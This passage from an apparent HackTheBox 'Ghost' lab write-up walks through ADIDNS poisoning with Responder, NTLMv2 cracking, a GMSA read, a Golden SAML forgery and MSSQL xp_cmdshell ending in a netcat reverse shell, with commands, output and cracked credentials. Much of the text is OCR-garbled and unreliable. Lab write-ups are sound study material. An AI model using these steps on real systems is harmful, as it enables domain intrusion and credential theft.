RSCGUAAAA223]1dGA0LOIITINULKhUQKBHSESTVCSTVEL. UdTTINULKhUQZAAABBbGOY ZWS JZS 5y YW1pc TAAAATRONPUIQUS FRCAAAABM Ly YnRNdAAAAATH
SEQTVCSIVETAEGAAACALO3uPYSgpPAACXIewf cLCNIBUA+Z6kGOKT FadcFbY JemosKn1gLCptaiy3Diote+DAAOEAAAAAAAAAAAAAAAAE6MGCBOYWET 10 AMCAQWNC XS JRONPU1QuS FRCoh 4WHKADAGE CoRUWE xSGa3J1dGd0GWIHSEITVCSTVEK jggSSMITEQKADAGES0QMCAQ
KiggSaBITELoinIQOCNSaVYoU03GeishX0Xr jf100Ai63f3di9sm+cQeyWdQ1w26CeL FpUQIKZA00FrIp/71DQOI5ymkrPELpGopS1kUBXwdfTIsYbLaewSR2T0X VX7 60GHZT FS1pDsD5K4ASHG 2RnVV+RUG IrLrSaIRiYnuS62suXX9+701uY8BYQpipAUTE TmLmXL BAOBKL
3XZ/FVDOXnClg50rp9CT76/ 12 FdvLHSagDWO34YX/ 1 /uxDsWtn04rgliCHe/NzDgKDoZ Wy F/OMIT 3qs 4SE LvuCDhpD1pL 3ZMHIO+KTOPL chtqEKBZUYWLWx CoBI+6hox0xCM2ekQ+HF iM5D1amAL6 14 I3uyz2MOgHd cBONCd2q1BQIESZ FHS6t FA+16g6CqhWiNARy CG3ibx
UriMXTcLSZ/sVo7d8+1bhB6I1rIiakRQ1dadAPXCaICMNXThHWF1i002Bbds zzV54f IYwG88IgeUc FRKCnI/bF5b75hEbbIRS1Z5mSewTAGESSLGMP6FLnvp6mIH1cigbY/AMTIabyQot9cI4oS1QTyFkFYIFpHFtZ5iqw2plwimOK juBIHBO61YZdfhkX4ZeZnyzQ8 LWZPgPLTT
wuk7A+2Te9KQHOIZFOnPIs77mEKKB+1fdg/CybPpaPrXhic3a0B+Bqja22UxklrVOUMZPEBASLYSKF21993fp07 x7m+MV/moCO2ETVXpZSToHOYGDVSQRA7IbpRZIYHNy JWT4F CPT tVdIeZGSQOASD4 J7k72IW1AQe5 I IX0 tNpud0cqtGGqclDFdf CvoToyHKNVoOBMIOE ZNH
YHVBSCsoTjqt0tkTW6LyxVk8gn2FOQRADLrb6gal kIEHST6X1 PESHDLGZL12g53201FEKSsMHUELxx0qIPeVSQ] YWRZ IM1LODAWPQPHET joo2AKG2D7 6pOGDZ1gx Xx5 W01S5RIVMS o fu/glaCsok33RShEAHZL5Fi c11D1ScdZYxwzv tul dT2Ug7 /+XVYMLWLIXL30udVXF )
nBjmrIb8CAPVAUHA4eWVS 3vZADRAMPYRY bSHEDT kX2 4BruXBEHUDN cvmL+pt TkeF3wuXiZ5q2TvSjujzN6Lx1B6Z7HF 4ALC/ LU+LBOFLDiUky FIXMk iGiwINkt0LueKzrVn+wYMigicAXWn3QMEY ZKRNut PEO +ezDnR +08U+EjdcY4CYITwH7+3+0X1qca5 t yAeKGYSRwiAksA
Mrz8HyZXYDkY3QDgAP@INFI0Sbra0947EBW2 9kl LWHrZTy Y 10MAZUXPGA69 coaWOGQErQgT1VNESNVK+QV1KEBo+NiHLf +No@qLYXdTFBPT/LSCOEBTAINfW+Yn1bvuf0234TCREAVCa6Z6ZnHd jedNyKrNHMgAY LgGG4N /A7QKSF5e/HZnL LubOnE/nTBeugZ57KxuECQInm
U6WrRZqSUHACRFPZTXK3dz8KYh/PF231SNAF zLBND+rmabrdZ6KFRHMLULN2uoyBuUXKNXTMNHKSSBe 1m7RAGTGO6ZKT znhpoNs R1f GMymb /X2Q1VQX JOKNKd +SCMGLSeSWEMUAAAAA

TOOtA3607339UBEY4 T~/ SSM/ CONtIO A ter T
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Decoded and exported locally:

echo '<b64>' | base64 -d > florence.ccache
export KRB5CCNAME=florence.ccache

(nase) —{(pa e ali ux-2023)-[~/Documents/HTB_Boxes/retired/ghost
BQOAD EAAAAB UdITINULKhUQgAAABBmbGSYZWS 1255y YW1 peniEARAAAQAARAEARAA RO PU1QuSFRCAMAEGZsb3 JbmN1LnJhbWlyZXoAAAABAAAAAWAAAAXYLUNBQBHFQBSOR)0AAAAVa3IINVS i Y2FjaGVFY29uZ1 SkYXRh
AAAE R5CGUAAAA23]1dGdOLOITINULKhUQKBHSEITVCSIVEL B UdITINULKhU BNDGOYZWS ) 2S5y YW1pCnVEAAAAAZAAAATAAAA JRONPU1QUSFRCAAAABMLY Y
RAdAAAAALHSESTVCS TVE TAERAAACALO3UPYSEPAACK Seu e BUA+Z6KGAKLFadcFbY JemosKnlqlCptaiy3Diote+DAAOEAAAAAAAAAAAAAAAAESTGCE0YgE T10ANCAQNNCx s JRENPULQUSFRCON4uHKADAE ECORUWEX s Ga3)1d6d0GWL HSES TVCSIVEK jggSSMITEGKAD
AgESoQMCAQKiggSaBITELoimIGOCNS di9smq+cQeyWdqiw26CgL FpUQTKZAOOF « wSRZTOXVX760GH DSDSKUABHA2RNVV+RUG IrL rSaTR1Ynu562 suXX9+701uY8BYOpipAUT6Tm

FVDOxnClg50rp9cT LHSagDWO34YX/1/wxDsWtn@4rgUCHe/N2DgXDoZowWulevF/OMIT3g tQEKBZUYWANXCOBT +6hoXOKC] iM5D1amAl674I3uvz2MOgHdcBONCd20i8q9ESZFHS6LFA+16gGeghil
bXUrIMXTcLSZ/5Vo7d8+1b akRQ1dadAPXCa JCWNXThHWF1002Bbds2zV54f TYWGB8I9eUCcFRKCN/bFSh P6FLnvpEMIH1CiabY /AN 253 qu2p1wimOK JuBIHBOG1YZd FhkXkZe:
PirtuukTA+2TeOKQHOIZFOnPJs Kkiflfdgtcmﬁaﬁprﬂ‘n[3355761}1 2Uxklr EBASLysKF21993fp07
BreX1PEIHDLGZL12g53201 FEK4SMHUTLXXOQOPeVSQ]
{ kX24BruXBEHUDNCYmL+ptTke F3wuXiZSqzIvSjujzN61x1B6.
I ’xmkncuqnnujwaos:rs ¥ 10MAZUXPGL 69 coallOGQET Qg TiVNgSnvK+QVIKBBO +NiH F+NoBqLYXdTH TASnFW+Yn1byufoz
7KxuECQInmuEWrRgqsUHACRFpZTXK3dz8kYh/PF231SNAFZLBNO+TmabrdZ6kFRHMIULn2woySuxkNxTMNHK5SBe1m7 RAATGO6KTznhpoNs FRLFGUMymb /X2Q1VQX J0KnKd+scMGLSe

byQo
SQRA7IbpR=TYHuy JWT4FCPTE
2AkG2D7 JGPOGDZ1gXXX5iW01SSRIVMS0:
LBOFtDiUKYFIXMKiGIWINKTO LUK Zrvn =1 Lv.YV'ngEAxv'lwlﬂl‘Ev

yz0Q
AQeSIbTXOLNpudOcqtEBqc LDFdFCvoTayHKay
15nchm:ca‘w..mv.Lu ug 9

2ETVXpZSToHOY Gl
APQPHET jo

JACYACYITuti7 +3+0KL astv»\eﬂ
dwnar\wwNHHsﬂ\rIEGC*M ‘A7QqKSF5e/HZnLLub@nJE/nTBeuqzs
florence.ccache

9. ADIDNS Poisoning and Responder — Justin Bradley Credentials

The intranet forum established that bitbucket.ghost.htb had no DNS record but was expected by at
least one domain wuser. Using Florence's TGT, a DNS A record was injected pointing
bitbucket.ghost.htb at the attacker's tun0 address:

sudo responder -I tun@ -v

bloodyAD -d ghost.htb -k --host DC@l.ghost.htb add dnsRecord bitbucket 10.10.16.60

irallels® kali-gnu-1lin (023 )-[~/Documents/HTB_Boxes/retired/ghost]

{base)
export KRBSCCNAME Florence ccache

slst kali-gnu-linux-2023 )-[~/Documents/HTB_Boxes/retired/ghost]
1 ghost. htb =2 AR DCll ghost.htb add dnsRecord bitbucket 18.18.16.60
[+] bltbucket has been successfully added

Shortly after the record was injected, Responder captured an NTLMv2 hash from justin.bradley:

Sending NTLM authentication request to 10.129.231.185
GET request from: ::ffff:10.129.231.105 URL:
NTLMv2 Client : 10.129. 105

NTLMv2 Username : ghost\justin.bradley

NTLMv2 Hash 1 justin.bradley st:ebla59b8aa717607: E78937886301730C1003354C922668560101000000000000F880CF4D84FADCO106A2DBB7BEF510A200000000020008004900500037004F0001001E00570049004E00200051004
10051003600430041005200510056004C003600040014004300500037004F002E004CA4FB0530041004CA003003400570049004E002D005100410051003600430041005200510056004C0036002E005900500037004F002 EADLCO04FO0430041004C000500140
04900500037004F002E004CO04FODL30041004C00050030003 88C4ALCBEFA26083A598F460DF4CEBDF7827639203CEFEC6EAIDT301BEFEELIROAQ0L 30004800540055005
2002F0062006900740062007 50063006800650074002E0067 0065006 720730074002EQ06800740062000800000002000000

The hash was cracked with Hashcat (mode 5600):
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Jjoeaprimeradiant:~$ hashcat -m 5680 hash.txt rockyou.txt
hashcat (v7.1.2) starting

Successfully initialized the NVIDIA main driver CUDA runtime library.

Failed to initialize NVIDIA RTC library.

* Device #1: CUDA SDK Toolkit not installed or incorrectly installed.
CUDA SDK Teolkit required for proper device support and utilizatien.
For more information, see: https://hashcat.net/faq/wrongdriver

Falling back to OpenCL runtime.

OpenCL API (OpenCL 3.8 CUDA 13.0.98) - Platform #1 [NVIDIA Corporation]

* Device #01: NVIDIA GeForce RTX 2080 Ti, 10820/10820 MB (2705 MB allocatable), 68MCU

Minimum password length supported by kernel: @
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: @
Maximum salt length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

optimizers applied:

= single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernmels selected.

pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -0 to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c
Host memory allocated for this attack: 1242 MB (14223 MB free)
Dictionary cache hit:

i rockyou. txt

14344384
139921497

* Keyspace 14344384

B ghost:ebla59b8aa717607:e7b937886301730¢1003354¢92266b56 880cf4d84fadc0106a2dbb7bef510a200000000020008004900500037004F000100120057004590042002d00510041005100360043004100520051
0056004c00360004500140043005000370041002005c004f00430041004c00030034005 2d005100410051003600430041005200510056004c00360020045300500037004002e004C004F00430041004c0005001. 3700400200400
4f00430041004c0008003000 88ctabchefa2t083a508£460d£4c68dE7827639203cefec6ed9dT3018efee180a001! 2f00620069007400620075

006 40022006 f00730074002e006800740062!

0000000000 | Quertyuiop1234$$

hashcat

Cracked

5600 (NetNTLMv2)

: JUSTIN.BRADLEY:: ghost:eb1a50b8aa717667:e7b337886301 ... 000000
Fri Jun 12 16:02:20 2026 (1 sec)

Fri Jun 12 16:02:21 2026 (@ secs)

Pure Kernel (password length ©-256 bytes)

Session.
status
Hash. Mode .
Hash.Target. .
Time.Started.
Time.Estimated
Kernel .Feature

Guess.Base. File (rockyou.txt)
Guess.Queue 1/1 (100.00%)
Speed. #01. 38590.9 kH/s (6.66ms) @ Accel:626 Loops:1 Thr:64 Vec:1

Recovered. 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress 10897408/14344384 (75.97%)
Rejected /10897408 (0.00%)

8173056/14344384 (56.98%)

Salt:@ Amplifier:0-1 Iteration:@-1

Device Generator

fath181099 — Mevely

: Temp: 32c Fan: 30% Util: 16% Core:1350MHz Mem:6800MHz Bus:16

Restore.Poin
Restore.Sub. #0

Candidate.Engine
Candidates.#01
Hardware.Mon .

Credentials recovered: justin.bradley:Qwertyuiop1234$$

10. WinRM Foothold and BloodHound Enumeration

Evil-WinRM authenticated as justin.bradley and the user flag was retrieved:

T L/Dacuments /UTR Rovec /ratired/ghost]
-u justin.bradley -p 'Qwertyulopl234$s’

r wBS CoMlcers justin.bradley\Documents> whoami
ghosthjustin.bradley |

ST PS L NUSers\justin.bradley\Documents> cd ..
PS C:\Users\justin.bradley> cd Desktop
PS C:\Users\justin.bradley\Desktop> dir

Directory: C:\Users\justin.bradley\Desktop

Mode LastWriteTime Length Name
—ar— 6/12/2026  6:56 AM 34 user.txt

S PS_CoMIsers);
dab2e7d686f46b2af
T PS Gt A%

stin_hradley\Desktop> type user.txt
02648
5t

| 6b5437250

radley\Desktop> I
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BloodHound data was collected with RustHound-CE and imported. Marking justin.bradley as owned
and querying shortest paths revealed a ReadGMSAPassword edge from justin.bradley to adfs_gmsa$:

JUSTIN.ERADLEY@GHOST...

Active Directory | User

adfs_gmsa$ is the service account running Active Directory Federation Services.

11. GMSA Password Read — ADFS Service Account
NXC read the GMSA password blob from LDAP and returned the NT hash:

nxc ldap ghost.htb -u justin.bradley -p 'Qwertyuiop1234$$' --gmsa

(base) —i }-[~/Documents/HTB_Boxes/retired/ghost
Lo xc ldap ghost.htb -u justin.bradley -p 'Qwertyuiopl234$§' —gmsa
10.129.231.105 389 pcal Windows Server 2022 Build 20348 (name:DC@1) (domain:ghost.htb) ( ) (channel binding:Never)
10.129.231.105 389 Dcal [+] ghost.htb\justin.bradley:Qwertyuiop1234$$
16.129.231.105 389 pcal Getting GMSA Passwords
10.129.231.105 389 Dce1 Account:|adfs_gmsa$ NTLM: | 16b9766667b1e9f8d4c315a11707c497 PrincipalsAllowedToReadPassword: ['DC@1$', 'justin.bradley']

GMSA hash recovered: adfs_gmsa$:16b9766667b1e9f8d4c315a11707c497

Evil-WinRM authenticated via pass-the-hash:

evil-winrm -i ghost.htb -u 'ADFS_GMSA$' -H 16b9766667b1le9f8d4c315a11707c497

12. Golden SAML Attack — Ghost Core Admin Access

Visiting https://core.ghost.htb:8443 showed a Ghost Core login with an Active Directory Federation
option. Clicking it redirected to federation.ghost.htb. Justin's credentials authenticated but the panel
was restricted to administrators:

Ghost Core

Login using AD Federation
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Sorry, this page is only currently available to the Administrator

You are currently logged in as: justin.bradley

ADFS signs SAML tokens with a Token Signing Certificate whose private key is encrypted by a DKM key
stored in Active Directory. As adfs_gmsa$, both keys were accessible. ADFSDump was uploaded and
run to extract them:

~/Documents/HTB_Boxes/retired/ghost]

F-D6-08-D5-BC 9-84-87-56-D2-FA 74-13-A3

)= ~/Dncumznts/ll‘|'5 Bolesfreh.redlghnst
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NURMy Lc/ %57 3GkMc
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4ndeXyxTOfly

yQdT9
e jAXdAYN

MPMBKA6TERINU,
21 fun JG GAOBNM

7 Nw;r_wn]LT:xem,.Ng-wumwu:uoxw—«-
Zy05a692+X t IcHYUCpaP19hwRIE/SApRyt u

SnknLHUMRY
'\aJ<\4|J'\(‘,\'\Q¥HJraG’ hU3dzI
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3rEzcuKs6XASKIkihMIZXXEvtUZTsNGevNCiFgN

5251dL/joGuol Je2
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The DKM key and encrypted token signing blob were converted to binary format and ADFSpoof forged
a SAML assertion for Administrator@ghost.htb:

(base) /./HTB, Buxzs/reuredlghost/nnrspoof

_htb' saml2

A tool to for AD FS security tokens
Created by @doughsec

/home/parallels/Documents/HTB_Boxes/retired/ghost/ADFSpoof/SamlSigner.py:16: UserWarning: PKCS#12 bundle could not be parsed as DER, falling back to parsing as BER. Please file an issue at https://github.c
om/pyca/cryptography/issues explaining how your PKCS#12 bundle was created. In the future, this may become an exception. Error details: ASN.1 parsing error: extra data

cert = pkcsi3.load_key_and_certificates(data, password, default_backend())
/home/parallels/Documents/HTB_Boxes/retired/ghost/ADFSpoof/ADFSpoof.py:96: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware obj
ects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).

now = datetime.utcnow()
PHNhbWxWOLJLc3BvbnNLIHNtbGS5 201 J1cmb6b2 tZXM6dGMEUDFNTDOYL JA6 CHIVAGS b2wi IELEPS ] FMKMSRKTWI1BWZX 12aW9uPSTyL jALTEL2c3V1 SW5zdGFudDOIM AyNi0wNi0xMLOXNZ0ZMDOY Ny 4wMDBA T BEZXNO WS hdG1 vb § @1aHROCHMGL
y93b331Lmdob3NOLmhOY] 04NDQzL2FkZnivc2 FtbCIwb3INOUMYZcG9uc2UiTENYbANLbNOIINVybjpyYXNpCzpuYW1lczp@YzpTQUIMOITuMDp 1b252ZW500nVuc3BLY2 LmaWVk I j48SXNzdWVy THhthG52PS 11 cmé6b2 F zaXMebmFt ZXMEdGMGUOFNTDoy L jAGYXNZZX J0aW
9uTj50dHRWO18vY29yZ55naGIzdC50dGIvYWRMCY92ZX ]2l cy90Cny ZdDwvSXNZAWYY P jxZYW1scDpT OLNOYXR1cONVZ USTnVyb jpvYXNpCZpUYWL1cZpOY2zpTQUIMO JTUMDD ZdGFOdXMEU3V JY2VZey IvPjwvc2 FtbHABUIRNHVZP
j¥Bc3NLcnRpb24geG1shnM9 InVybjpvYXNpczpuyWllczp0YzpTQUIMOI TuMDphc 3N cnRpb241TELEPSIFQk1SUVAGT 1BIc3N1ZUTuc3RhDNQIT TuM ¥ MDY tIT JUMT C6MZAGMj cUMDAWNE TgVmVyc2 Lvb j0Mi4wIj485XNZdWVy Pmh0dHAGLYS jb311 Lmdob3NOLhO Y
9hZ6ZzL3N1cnZpy2VzL3RydXNOPCIICINLZXI%2BPGRZOINpZ25hdHVyZSBAbWxuCczpkez0iaHROCDoVL3d3dy53MySvcme M AwNCEWOS94bixke2 LnTyI%2BPGRZ01NpZ2512E1uZmB%2BPGRz0kNhbmIuaWNhbGl 6YXRph25NZXR0b2QgQWxnb3IpdGh tPS JodHRwO1 Bvd
3d3LnczLm9yZy8yMDAXLZ EwL3htDC11eGMTYZEODIMiLZ48ZHMEU21nbmFOdX TLTWVOaGIKIEFsZ29yaXRobTO1aHROCDOVL3d3dy 53My Sy Cme VM) AWMSBUNCO 4 blixke 2 LnLW1vcml JcnNALXNOYTI NI TvP xkc ZpSZWZ LCmVuy 2UgVVI IPST X0 INULFXR1 I%2BPGRZOLRY
YWs OTRyYW5Z. m10aG09Imh@dHAGLy93d3cudzMub3 InL zIwNDAVMDkveG1sZHNpZy Nl bnZ1 bGIwZWQtc21nbmFOdX J11i8%2BPGRZ0L Ry YW5 2Zn9ybSBBbGdveml 6609 Imh0dHAGLY 93d3cudzMub3 InL z TwHDEVMTAveG1s LWVAYy1iM
TRuTyIvPjuyZHMEVH JhbnNmb3 1t cz48ZHMERGLnZXNOTWV0aGIK TEF s Z29yaXRobT01 aHROCDOVL 3d3dy53My Svemeyh jAWNSEWNCI4 bW L bmbjc2 hhMjU2 T4 8%2BPGRZ0kRPZ2Vzd FZhbHVL PkUZSINVDNFTnVNMWI ZZGBy bXE2enFKb2x4 UExwNOB1cXRAbG ac2pkeWs
PCOkczpEalidLc3RWYWx1ZT48L2RZ0L JTLZmVy ZW5 JZT48L2RZ0INDZ251ZELUZNB%2BPGRZOTNPZ2 ShdHVy ZVZhbHVLPNB1T1ZIdUTHTXdnalJKcTI4VGRac FpXaluxN3BgdkwyNy9WalpQZLyySVZmenA1OEUZcE IhNWEONUWY YVhGMHIEQ3ZGdDINUFAVRZZrQkS Jbohab2h
WT INVUXY3d3NHYzI3R3k2c0s 3Wn LUk 1 XMThEV1dBOWLxNkZYRTBLSWRaVENGMTBEV2Z jRmZMQn] 2Vk Z0 TmYyMYZwdHVRWC £3SVVKanVaaXR3UWLI YnF i YkkveDdFQnc 1LORaUGZTTThIK3p pbkRNNOOBLOVRQNI zTmY4bHpMMTUBVE ITNVLI1 TDY 3bmIne DRz eWNXREAOCGS S
TGPRaGAVQZUZWYFTCcFFEM2ROVWdpUI1QWIVrc1ZMQ1TyM3FYMGTHT1 JtUTANK11GSVoXTmRUS ZBCeWs 3cmNIMH IVVMN FNXRwY j 82Q1V1QkZNSWZ1VkhGMURHV2NRUGXS TVWxMKt 1 ZHCXTSS5RZQSQORVL ZBNUXTKeUpKSndrME1FbUTyb@xoNCt TNZhUNS9aS3d4RENDREKON
3pVMHLDRHNGNMY2YmOVNWCZRDA2 eXJ0SG1qQ1pWWEI BVXdSd2p] TkSHYUN Q1 BXTWOZaUSEADBYDELI Z1MAd 1 pZTDASSUIL eHNHSHAINhF amowlizdSLOLNCLEY bEFpDFLXK1BEWS T 3dERMZCIWT 2dpV2 X FKOPHCH1 LUUhUOWIGNNBOTGF L Z6 twa 19waGpGUF FGQ2nKMnHTH
kxTnNoQy91UjRUTMOSYUE vaHFpU1pkKzhleEReHhYaEQ4cz JQRKIEDHRRTUFPSZhVNK11cG1TCHNMYULINFQSNWXhSUFSYX J0QXAZR3hL cmux bmo zdmNUb2kxK3dKR Y rULRMRU3Y1 NwT 2 LuY 2ZQUUUwNMZ 23 VBW FNYYWVmZm Iy WUCwRHAVPTwyZHMBE U2 1 nbmF dX J1VmF
SdWUX2BPGR20kt1eUluZm8%2BPGRZ01g1MD1 EYXRhP jxkczpYNTASQ2VydGlmawNhdGU%2BTUT JRTVGQONBCZ ZnQXd IQkFnSVFKRMNXd@15Y1 JhNUSOK1dPNXRXb@dUQUSCZ2 txaGt pRz 1 3ME JIBUXNGQURBAU1Td3dL 711 EVI FRREVSTkISRVPUSUZOC FoyNXB ibWNnTFNChY
PXUMX IbUYWYVC5dUX tZGI1M0 4wTG10MF1 gQWdGd 2BS TKRBMK 1UZ3h0aKUZ TVRCYUABOHLNVEEWTURVEK 1 ERTINVGNATUZVA@XqRXNNG2 9HQT FVRUF ATWPRVVIHVXLCVGFXZHVRV ZVUSUMWZ 1ptVmt aWEp 0ZEd sdm JpNWShRZ1 6ZEM1h 2RHSXANZ0 1 pTUEWRONT CUATSWIZRFF
FQKFRVUFBNE1DRHABA2dnSUtBbO1DQVFDKOFBTOLIRXFObF1 jbjE1MBwxQnZHUWAEeVhUb1 13VFI6c0s10St6RTF6Z0dLT zL ONWSI0EZrK2RhS3BXTFFhalg3bORI YWYudy9RYXhCZ 2Vx ZGVEWW1 EM2960E 5 YUE xeWdZQn J6bTR3VZdGZ jg3 cks SRmULS jUvaDZXOWC 3ND Lo
NUJJCVERT3AWbDZZMXJndW1PY2NONHLiVZzk1RVAOTDBE2dVFYdkMrS1EQRDRNTVH10G1DR3B4AHZ ITDRPBESOSNVIRZNPULLTS2hSYWwweX1 KZU9oRZRA 22X yWkpGMThwoXdobkU2b21nZ218Nméyc2hEay90dLRZaml pNWU3L21IVIRLa3 JZTUNWYULVTms 3bXhKTVpOUWFiN
1NtZKtyWk40CFJEN2RWZZV62K] SRDVe1MSQ0hMOZZ4TnpXL 10waHVN T2 FKaESTZEPTZ2FOL2 JzRzhuYngX0UNEL Y t5¢Fe5S) IMAE SGAWAKV3REVUIXREIRQLIWAE T4U2cOVKVHZ 1A5an L JERIMMI6CORMA L IKS hFMXVOSLdQL 2tROTErd11ST2RKTHF VM2 IWSXNDAMXBOE
V2WVcwVDFSC3U3N280eCO3MGAXY JBVUVBFSX03e jk3M2T00TZ3cVFOMORUEWZ LTzNsWFhmWkS jdmFqNUTDUDIUJEACKA tzaEYScGt JUHNxNGYyZ010N1FqeGp 5 1W0GpGbz1nTEQ3al Wk FGMTRINT IKdFIxVjVpTi to0TVKa3V1RXFRVORCSEF
2UEVCQLprRVpIKZVSVCThQOZYWFgronBQdDNRR2pZTGYKVTRDRNNNGG A4 UVZMNXZMZGNWUNNYE1J0L1dIaVh3SkoPRVZFQ2ESdzeveVZuaGFsQOSCeDF FL2wOS1FIREFRQUINQTBHQINXRIN IYINEUUVCQ3dVQUEOSUNBUUFXWULaVZN JRENCTZZKVDNSZmwz T2N1eXAXTFZL
VKKTOXBGECO1Y1dwV2pTZGg2YM5TFREEEQ3R11VAG1V1BaM3 JGNECTRMRNRKhIQ3g ZWXBFOVVGDKYMS3NYcWha0Tg5QVg10EkYM21171VSS1d1SVBMUBX reCt LU py TUprdDriS 9 LWHREYXNPUWLWT nNRWUVY 40 xCSWINQ@110XV1amsDbUZPd@hQLO1 CaGdZUU1TaDQ2Q
npTWFAQMZk4VThicl JORHBYL2MyLO9GSmhHbWSUR jhaliG1pNHhOemZ TRE JwVk txd1ZHcDe4Q2d1TXhqUWOr YnRYY §QINTgAWko000 x ZUGRSUXAZMFAKNSSDTK 1 hZW5251doqT JHNULadzVYMEVXQOpMD1LKVOZ20WL ST2EXL3K1NX 11VZZK0GX JROQWd21vRWVDbDLDSDFFZD
RKeLVKVVAmMULCQ11QM1gSMmLheHpVRTB1cEdkL 2FRbZZIVHLST2xXdUF3cmt UL ZIRUXLVpLT2c4K2RseTk3231aSWZVdFF3SWEQdeSSOHZVMDR jZmoraHpPdk6UE LBQVLOMTROTGA2ZUF JLORX TWSPMES LTy t3MURCS3c2NESCQ244229hekYTUHVGZ LVPMHLOSEZMNGL
4TXB3YXAZaWV2NmezQ1hDUORIZn FUVUSFdUVZN3ESh11LZ3EycWSOVKIUSWhoSWSNWE J6RWO2aVAXM2 pmdUSvWEpKUE FuRVVYb JRSNX1 30Tk3cnR1R25aRVBSeDFmUVIWCI 0¥ FCUDR2b2d 20Wt SdGFVRUVWWG E TK2 hQcHhabWV 400 5yQkQx c TdHS1B1MGY i WWXDMENTdjh3
Nk1ZOHRNME9ydnBuR11sV3JOUHdLdkV2Zm1 Sa3dCTECIRU1BbkxTdz0IPCIKCzpYNTASQ2VydGLmaWNhdGUX2BPCI ke zpYNTASRGFOYT4EL IR 20kt LeUluZmBX2BPCOKc zpTaWduYXR1cmUX2BPFN1 Ymp L Y3QX2BPEShbWV JRCBGD3 I TYXQ9TnVyb jpvYXNpczpuyWilczpoy
ZpTQUIMOIEUMTPUYW112WQt Zmgy bWF 00mVtYWLSQWRKcmVZey I%2BOWRT aW5pC3RY YXRvC kBNaGI zdC50dGI8LOSh WY JRD4BU3VI anV JAENVDMZpcmlndGlybiBNZXR0D2Q9INVYb IpvYXNDCZpUYWL1cZpOYZpTQUIMO UMD JbTpizWFyZXI1P)XTdWIQZWNOQ29uZmly
bWFOaWIURGFBYSBObIRPbKIYQWZBZXIST j T Y tMDY tMT JUMTC6Mz UM cuMDAWW IgUmV jaXBp ZWS@PS JodHRwc zovL2NvemUuZ2hy c3QuaHR103gONDMy YWRmCy 92 YW1sL 3By c3RSZXNwb2 5 2ZS TP jwvU3VianV jdENvbnZpcmlhdGLyb j48LIN1Ymp1Y30%2BPENVbIR
pdGlvbnMgTm9@QmVmb3 1 PSTyMDIZLTAZ L TEYVDE30 jMwO jI3L jAWMFoiTESVAEQUT3 IBZnR1 C jOIMjAYNiOWNi0xM1QxODoZMDoyNyAwWMDBAT j48QXVkaWwVuy2VSZXNOcml jdGvb j48QXVkaWvuY2UX2BaHROCHMELy9 jb3 11Lmdob3N@LmhoY jo4NDQz PCOBAWRpZWS JZT
48LOF1ZGLLbmN1UNY zdHIpY3Rph24%2BPCIDD25kaXRpb252P I xBdHRyaW I1dGYTAGF0ZW11bn0X2BQWR T aWSpc3Ry YXRvckBnaGIzdC50dGTgQWR taWSpc 3Ry YXRYCjwvQXROCm11dXRLU3RNAGY L ZW50P ) xBdXRob LNOYXR1bWVud CBBAXRobk Luc3RNDNQI LI TWM3 Y tMDY
MTJUMTCEMZABMYuNTAWW1 TgU2Vze 2 1vbkluZGV4PS I Qk1SUVAGI j480XV0aG5Db2 502 Xh0P jxBAXRobkNybnR1eHRDbGFzc 1117 j51cmb6b2 FzaXMGbmF t ZXMEdGMGUBFNTDoYL JAGYWMGY2 xhc3N1czpQYXNzd29yZFByb3R1Y3R1ZFRy VW5 2c6IydDwvQXVOaG5Db250
Zxh0Q2xhc3NSZWY%2BPCIBdXRobkNVbnR1eHQ%2BPCIBAXRODINOYXR1bWVudD48LOF zc2VydGlvb j48L3NhDbWxwO1 Il c3BvbnN1Pg%3D%3D

With Burp intercepting the ADFS federated login flow, the SAMLResponse field in the POST /adfs/saml/
postResponse request was replaced with the forged assertion and forwarded:
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mparer Logger

listory Match and rep

Ghost Core loaded as Administrator. The panel exposed an MSSQL query interface and surfaced a new
domain: corp.ghost.htb:
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Ghost Config Panel

Database Debug

Currently configured databases:
« MSSQL (domain: ghost.htb)
« MSSQL {domain:carp.ghost.htb

The databases are correctly linked.

Query Debugger
(Only supported for the main database - sorry!)

SQL: Execute

13. MSSQL Linked Server RCE — corp.ghost.htb Foothold

Querying sysservers via the Ghost Core SQL interface revealed a linked server named PRIMARY in the
corp.ghost.htb domain with rpcout: true:
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"recordset":

{

"srvid": @,
"srvstatus": 1089,
"srvname": "DCO1",

"srvproduct": "SQL Server",
"providername": "SQLOLEDB",
"datasource": "DCe1",

"location": null,
"providerstring": null,

"schemadate": "2024-082-02T20:18:34.94p02",
"topologyx": O,

"topologyy": O,

"catalog": null,

"srvcollation": null,

"connecttimeout": 0,

"guerytimeout": @,
"srvnetname": "DCO1
"isremote": true,
"rpc": true,
"pub": false,
"sub": false,
"dist": false,
"dpub": false,
"rpcout": true,
"dataaccess": false,
"collationcompatible": false,
"system": false,
"useremotecollation": true,
"lazyschemavalidation": false,
"collation": null,
"nonsqglsub": false

"srvid": 1,
"srvstatus": 1249,
"srvname": "PRIMARY",
"srvproduct": "SQL Server",
"providername": "SQLOLEDB",
"datasource": "PRIMARY",
"location": null,




A ARCHWARDEN

xp_cmdshell was enabled and executed on PRIMARY through a chained EXEC...AT statement:

EXEC ('execute as login = ''sa'';

’

exec master.dbo.sp_configure "show advanced options",1; RECONFIGURE;

exec master.dbo.sp_configure "xp_cmdshell", 1; RECONFIGURE;
exec master..xp_cmdshell ''hostname''') AT "PRIMARY";
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Ghost Config Panel

Database Debug

Currently configured databases:
+« MSSQL (domain: ghost.htb)

» MSSQL (domain: corp.ghost.htb)

The databases are correctly linked.

Query Debugger
(Only supported for the main database - sorry!)

SQL: Execute

Output:

"recordsets": [

[

"output": "PRIMARY"

e
{

"output": null

1,

"recordset": [

{
"output": "PRIMARY"
}

{
"output": null

1

"putput": {3},

"rowsAffected": [
2
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nc64.exe was transferred and a reverse shell caught:

—(joe@ Archwarden ) -[~/HTB_Boxes/retired/ghost ]

—5 rlwrap nc -nlvp 9881

listening on [any] 9801 ...

connect to [10.18.16.60] from (UNKNOWN) [1@.129.231.185] 49832

Windows PowerShell
